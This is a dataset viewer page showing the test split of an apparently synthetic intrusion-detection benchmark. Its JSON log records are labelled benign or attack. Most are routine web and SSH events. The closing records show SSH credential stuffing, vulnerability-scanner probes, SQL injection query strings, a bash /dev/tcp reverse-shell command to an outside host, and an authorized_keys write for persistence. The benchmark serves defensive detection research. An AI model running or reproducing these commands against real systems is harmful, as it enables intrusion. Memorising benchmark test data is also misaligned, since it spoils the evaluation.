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Datasets:
deployxa
/
dxa-guard-benchmark

Tasks:
Tabular Classification
Size:
1K<n<10K
Tags:
cybersecurity
intrusion-detection
server-security
honeypot
log-analysis
License:
Dataset card Data Studio Files
xet
 Community
dxa-guard-benchmark / test.jsonl
mosetireagan's picture
mosetireagan
Release DXA-Guard honeypot & intrusion detection benchmark dataset
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184 kB
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{"timestamp":"2026-09-15T00:00:01.1Z","source_ip":"192.0.2.250","user":"admin","process":"sshd","action":"ssh_login","target":"ssh","result":"accepted","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:00:03Z","source_ip":"192.0.2.11","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:00:06Z","source_ip":"192.0.2.12","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:00:10Z","source_ip":"192.0.2.13","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:00:15Z","source_ip":"192.0.2.14","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:00:16Z","source_ip":"192.0.2.15","process":"nginx","action":"http_request","target":"/healthz","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:00:18Z","source_ip":"192.0.2.16","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:00:21Z","source_ip":"192.0.2.17","process":"nginx","action":"http_request","target":"/old-404-link.html","result":"not_found","status":404,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:00:25Z","source_ip":"192.0.2.18","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:00:30Z","source_ip":"192.0.2.19","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:00:31Z","source_ip":"192.0.2.20","process":"nginx","action":"http_request","target":"/healthz","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:00:33Z","source_ip":"192.0.2.21","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:00:36Z","source_ip":"192.0.2.22","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:00:40Z","source_ip":"192.0.2.23","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:00:45Z","source_ip":"192.0.2.24","process":"nginx","action":"http_request","target":"/old-404-link.html","result":"not_found","status":404,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:00:46Z","source_ip":"192.0.2.25","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:00:48Z","source_ip":"192.0.2.26","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:00:51Z","source_ip":"192.0.2.27","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:00:55Z","source_ip":"192.0.2.28","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:01:00Z","source_ip":"192.0.2.29","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:01:01Z","source_ip":"192.0.2.30","process":"nginx","action":"http_request","target":"/healthz","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:01:03Z","source_ip":"192.0.2.31","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:01:06Z","source_ip":"192.0.2.32","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:01:10Z","source_ip":"192.0.2.33","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:01:15Z","source_ip":"192.0.2.34","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:01:16Z","source_ip":"192.0.2.35","process":"nginx","action":"http_request","target":"/healthz","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:01:18Z","source_ip":"192.0.2.36","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:01:21Z","source_ip":"192.0.2.37","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:01:25Z","source_ip":"192.0.2.38","process":"nginx","action":"http_request","target":"/old-404-link.html","result":"not_found","status":404,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:01:30Z","source_ip":"192.0.2.39","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:01:31Z","source_ip":"192.0.2.40","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:01:33Z","source_ip":"192.0.2.41","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:01:36Z","source_ip":"192.0.2.42","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:01:40Z","source_ip":"192.0.2.43","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:01:45Z","source_ip":"192.0.2.44","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:01:46Z","source_ip":"192.0.2.45","process":"nginx","action":"http_request","target":"/healthz","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:01:48Z","source_ip":"192.0.2.46","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:01:51Z","source_ip":"192.0.2.47","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:01:55Z","source_ip":"192.0.2.48","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:02:00Z","source_ip":"192.0.2.49","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:02:01Z","source_ip":"192.0.2.10","process":"nginx","action":"http_request","target":"/healthz","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:02:03Z","source_ip":"192.0.2.11","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:02:06Z","source_ip":"192.0.2.12","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:02:10Z","source_ip":"192.0.2.13","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:02:15Z","source_ip":"192.0.2.14","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:02:16Z","source_ip":"192.0.2.15","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:02:18Z","source_ip":"192.0.2.16","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:02:21Z","source_ip":"192.0.2.17","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:02:25Z","source_ip":"192.0.2.18","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:02:30Z","source_ip":"192.0.2.19","process":"nginx","action":"http_request","target":"/old-404-link.html","result":"not_found","status":404,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:02:31Z","source_ip":"192.0.2.20","process":"nginx","action":"http_request","target":"/healthz","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:02:33Z","source_ip":"192.0.2.21","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:02:36Z","source_ip":"192.0.2.22","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:02:40Z","source_ip":"192.0.2.23","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:02:45Z","source_ip":"192.0.2.24","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:02:46Z","source_ip":"192.0.2.25","process":"nginx","action":"http_request","target":"/healthz","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:02:48Z","source_ip":"192.0.2.26","process":"nginx","action":"http_request","target":"/old-404-link.html","result":"not_found","status":404,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:02:51Z","source_ip":"192.0.2.27","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:02:55Z","source_ip":"192.0.2.28","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:03:00Z","source_ip":"192.0.2.29","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:03:01Z","source_ip":"192.0.2.30","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:03:01.1Z","source_ip":"192.0.2.250","user":"admin","process":"sshd","action":"ssh_login","target":"ssh","result":"accepted","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:03:03Z","source_ip":"192.0.2.31","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:03:06Z","source_ip":"192.0.2.32","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:03:10Z","source_ip":"192.0.2.33","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:03:15Z","source_ip":"192.0.2.34","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:03:16Z","source_ip":"192.0.2.35","process":"nginx","action":"http_request","target":"/healthz","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:03:18Z","source_ip":"192.0.2.36","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:03:21Z","source_ip":"192.0.2.37","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:03:25Z","source_ip":"192.0.2.38","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:03:30Z","source_ip":"192.0.2.39","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:03:31Z","source_ip":"192.0.2.40","process":"nginx","action":"http_request","target":"/healthz","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:03:33Z","source_ip":"192.0.2.41","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:03:36Z","source_ip":"192.0.2.42","process":"nginx","action":"http_request","target":"/assets/style.css","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
{"timestamp":"2026-09-15T00:03:40Z","source_ip":"192.0.2.43","process":"nginx","action":"http_request","target":"/articles/getting-started","result":"success","status":200,"method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","label":"benign","attack_type":"none","stage":"normal"}
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{"timestamp":"2026-09-15T00:30:15Z","source_ip":"203.0.113.81","user":"admin","process":"sshd","action":"ssh_login","target":"ssh","result":"invalid_user","label":"attack","attack_type":"ssh_credential_stuffing","stage":"reconnaissance"}
{"timestamp":"2026-09-15T00:30:30Z","source_ip":"203.0.113.81","user":"postgres","process":"sshd","action":"ssh_login","target":"ssh","result":"invalid_user","label":"attack","attack_type":"ssh_credential_stuffing","stage":"reconnaissance"}
{"timestamp":"2026-09-15T00:30:45Z","source_ip":"203.0.113.81","user":"guest","process":"sshd","action":"ssh_login","target":"ssh","result":"invalid_user","label":"attack","attack_type":"ssh_credential_stuffing","stage":"reconnaissance"}
{"timestamp":"2026-09-15T00:31:00Z","source_ip":"203.0.113.81","user":"ubuntu","process":"sshd","action":"ssh_login","target":"ssh","result":"invalid_user","label":"attack","attack_type":"ssh_credential_stuffing","stage":"reconnaissance"}
{"timestamp":"2026-09-15T00:31:15Z","source_ip":"203.0.113.81","user":"oracle","process":"sshd","action":"ssh_login","target":"ssh","result":"invalid_user","label":"attack","attack_type":"ssh_credential_stuffing","stage":"reconnaissance"}
{"timestamp":"2026-09-15T00:31:30Z","source_ip":"203.0.113.81","user":"test","process":"sshd","action":"ssh_login","target":"ssh","result":"invalid_user","label":"attack","attack_type":"ssh_credential_stuffing","stage":"reconnaissance"}
{"timestamp":"2026-09-15T00:31:45Z","source_ip":"203.0.113.81","user":"deploy","process":"sshd","action":"ssh_login","target":"ssh","result":"invalid_user","label":"attack","attack_type":"ssh_credential_stuffing","stage":"reconnaissance"}
{"timestamp":"2026-09-15T00:32:00Z","source_ip":"203.0.113.81","user":"root","process":"sshd","action":"ssh_login","target":"ssh","result":"invalid_user","label":"attack","attack_type":"ssh_credential_stuffing","stage":"reconnaissance"}
{"timestamp":"2026-09-15T00:32:15Z","source_ip":"203.0.113.81","user":"dev","process":"sshd","action":"ssh_login","target":"ssh","result":"invalid_user","label":"attack","attack_type":"ssh_credential_stuffing","stage":"reconnaissance"}
{"timestamp":"2026-09-15T00:32:30Z","source_ip":"203.0.113.81","user":"operator","process":"sshd","action":"ssh_login","target":"ssh","result":"invalid_user","label":"attack","attack_type":"ssh_credential_stuffing","stage":"reconnaissance"}
{"timestamp":"2026-09-15T00:32:45Z","source_ip":"203.0.113.81","user":"app","process":"sshd","action":"ssh_login","target":"ssh","result":"invalid_user","label":"attack","attack_type":"ssh_credential_stuffing","stage":"reconnaissance"}
{"timestamp":"2026-09-15T00:32:49Z","source_ip":"203.0.113.82","process":"nginx","action":"http_request","target":"/actuator/heapdump","result":"not_found","status":404,"method":"GET","user_agent":"nuclei/v3.2.0","label":"attack","attack_type":"cve_scan","stage":"reconnaissance"}
{"timestamp":"2026-09-15T00:32:53Z","source_ip":"203.0.113.82","process":"nginx","action":"http_request","target":"/solr/admin/info/system","result":"not_found","status":404,"method":"GET","user_agent":"nuclei/v3.2.0","label":"attack","attack_type":"cve_scan","stage":"reconnaissance"}
{"timestamp":"2026-09-15T00:32:57Z","source_ip":"203.0.113.82","process":"nginx","action":"http_request","target":"/boaform/admin/formLogin","result":"not_found","status":404,"method":"GET","user_agent":"nuclei/v3.2.0","label":"attack","attack_type":"cve_scan","stage":"reconnaissance"}
{"timestamp":"2026-09-15T00:33:01Z","source_ip":"203.0.113.82","process":"nginx","action":"http_request","target":"/geoserver/web/","result":"not_found","status":404,"method":"GET","user_agent":"nuclei/v3.2.0","label":"attack","attack_type":"cve_scan","stage":"reconnaissance"}
{"timestamp":"2026-09-15T00:33:03Z","source_ip":"203.0.113.83","process":"nginx","action":"http_request","target":"/api/products?id=1%20UNION%20SELECT%20username,password%20FROM%20users--","result":"error","status":500,"method":"GET","user_agent":"sqlmap/1.8.3","label":"attack","attack_type":"sqli","stage":"exploitation"}
{"timestamp":"2026-09-15T00:33:05Z","source_ip":"203.0.113.83","process":"nginx","action":"http_request","target":"/search?q=%27%20OR%201=1--","result":"error","status":500,"method":"GET","user_agent":"sqlmap/1.8.3","label":"attack","attack_type":"sqli","stage":"exploitation"}
{"timestamp":"2026-09-15T00:33:15Z","source_ip":"","user":"www-data","process":"bash","action":"process_exec","target":"","result":"","metadata":{"cmdline":"bash -c 'sh -i \u003e\u0026 /dev/tcp/203.0.113.84/9001 0\u003e\u00261'","parent":"nginx"},"label":"attack","attack_type":"post_compromise","stage":"exploitation"}
{"timestamp":"2026-09-15T00:33:16Z","source_ip":"203.0.113.84","user":"www-data","process":"bash","action":"process_exec","target":"","result":"","metadata":{"cmdline":"bash","remote_socket":"203.0.113.84:9001","socket_connected":"true"},"label":"attack","attack_type":"post_compromise","stage":"persistence"}
{"timestamp":"2026-09-15T00:33:18Z","source_ip":"","user":"root","process":"","action":"file_modify","target":"/root/.ssh/authorized_keys","result":"","label":"attack","attack_type":"post_compromise","stage":"persistence"}